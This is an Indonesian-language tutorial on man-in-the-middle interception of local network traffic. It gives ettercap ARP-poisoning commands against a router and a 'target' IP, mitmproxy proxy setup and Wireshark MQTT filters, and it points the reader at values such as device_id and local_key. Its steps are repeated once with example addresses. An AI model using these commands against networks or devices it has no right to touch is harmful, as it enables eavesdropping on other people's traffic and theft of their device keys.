Tools: ettercap, mitmproxy, Wireshark
Langkah-langkah:
-
Install Ettercap:
sudo apt-get install ettercap-graphical
-
Jalankan Ettercap:
- Buka Ettercap dalam mode teks:
sudo ettercap -T -q -i <interface> -M ARP /<IP Router>/ /<IP Target>/
- Ganti
<interface>
dengan interface jaringan kamu,<IP Router>
dengan IP router, dan<IP Target>
dengan IP perangkat target.
- Buka Ettercap dalam mode teks:
-
Install mitmproxy:
sudo apt-get install mitmproxy
-
Jalankan mitmproxy:
mitmproxy -p 8080
-
Konfigurasi Proxy pada Perangkat Target:
- Setel perangkat target untuk menggunakan proxy yang mengarah ke IP address komputer kamu dengan port 8080.
-
Sniff dan Capture Traffic:
- Gunakan mitmproxy untuk melihat dan mengcapture traffic.
- Kamu bisa menggunakan interface web mitmproxy di browser:
http://localhost:8081
.
-
Capture Traffic dengan Wireshark:
- Buka Wireshark dan pilih interface jaringan WiFi kamu.
- Klik tombol Start untuk mulai capture.
-
Filter Traffic:
- Gunakan filter seperti
ip.addr == <IP Perangkat>
atautcp.port == 1883
untuk MQTT traffic. - Cari data seperti
device_id
,local_key
, danIP Address
.
- Gunakan filter seperti
sudo ettercap -T -q -i wlan0 -M ARP /192.168.1.1/ /192.168.1.100/
-T
untuk mode teks.-q
untuk mode diam (quiet mode).-i wlan0
untuk interface jaringan yang digunakan (sesuaikan dengan interface yang kamu gunakan).-M ARP
untuk mode ARP poisoning./192.168.1.1/
untuk IP router./192.168.1.100/
untuk IP perangkat target.
-
Menjalankan mitmproxy:
mitmproxy -p 8080
-
Set Proxy di Perangkat Target:
- Set proxy di perangkat target ke
IP_komputer_kamu:8080
.
- Set proxy di perangkat target ke
-
Analisis Traffic:
- Buka browser dan akses
http://localhost:8081
untuk melihat traffic yang lewat mitmproxy.
- Buka browser dan akses
-
Buka Wireshark:
- Pilih interface jaringan dan klik Start.
-
Gunakan Filter:
- Untuk memfilter traffic dari perangkat tertentu:
ip.addr == 192.168.1.100
- Untuk memfilter traffic ke port MQTT (1883):
tcp.port == 1883
- Untuk memfilter traffic dari perangkat tertentu:
-
Analisis Paket:
- Cari data penting seperti
device_id
,local_key
, danIP Address
.
- Cari data penting seperti